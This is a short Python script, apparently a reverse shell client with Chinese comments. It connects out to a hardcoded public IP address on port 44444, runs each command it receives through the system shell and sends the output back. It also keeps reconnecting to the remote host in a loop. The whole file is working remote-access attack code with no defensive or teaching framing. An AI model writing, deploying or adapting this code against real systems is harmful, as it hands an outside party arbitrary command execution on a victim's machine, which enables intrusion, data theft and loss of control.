import socket
import subprocess
import os
import time

##server_ip = '127.0.0.1'
server_ip = '183.131.51.160'
server_port = 44444


def reliable_send(sock, data):
    try:
        if isinstance(data, str):
            data = data.encode('utf-8')
        sock.sendall(data + b'<END>')
    except:
        pass


def execute_command(command):
    """执行命令并返回输出"""
    try:
        if command.startswith('cd '):
            os.chdir(command[3:].strip())
            return f"当前目录: {os.getcwd()}"
        else:
            proc = subprocess.Popen(command,
                                    shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)
            output, error = proc.communicate(timeout=30)
            return output or error or f"执行成功 (PID: {proc.pid})"
    except subprocess.TimeoutExpired:
        return "命令执行超时"
    except Exception as e:
        return f"执行错误: {str(e)}"


def maintain_connection():
    """持久化连接管理"""
    while True:
        client = None
        try:
            # 创建新连接
            client = socket.create_connection((server_ip, server_port), timeout=10)
            client.settimeout(300)  # 设置命令接收超时

            while True:
                # 接收完整命令
                raw_cmd = b''
                while not raw_cmd.endswith(b'<END>'):
                    try:
                        chunk = client.recv(4096)
                        if not chunk:
                            raise ConnectionError("连接中断")
                        raw_cmd += chunk
                    except socket.timeout:
                        continue

                # 解析命令并执行
                command = raw_cmd[:-5].decode('utf-8', 'ignore').strip()
                if command.lower() == 'exit':
                    break

                # 执行并立即响应
                response = execute_command(command)
                reliable_send(client, str(response).encode('utf-8'))

        except (ConnectionRefusedError, TimeoutError):
            print("连接失败，5秒后重试...")
            time.sleep(5)
        except (ConnectionResetError, BrokenPipeError):
            print("连接中断，立即重连...")
            time.sleep(1)
        except Exception as e:
            print(f"意外错误: {str(e)}，5秒后重试...")
            time.sleep(5)
        finally:
            if client:
                try:
                    client.close()
                except:
                    pass


if __name__ == '__main__':
    maintain_connection()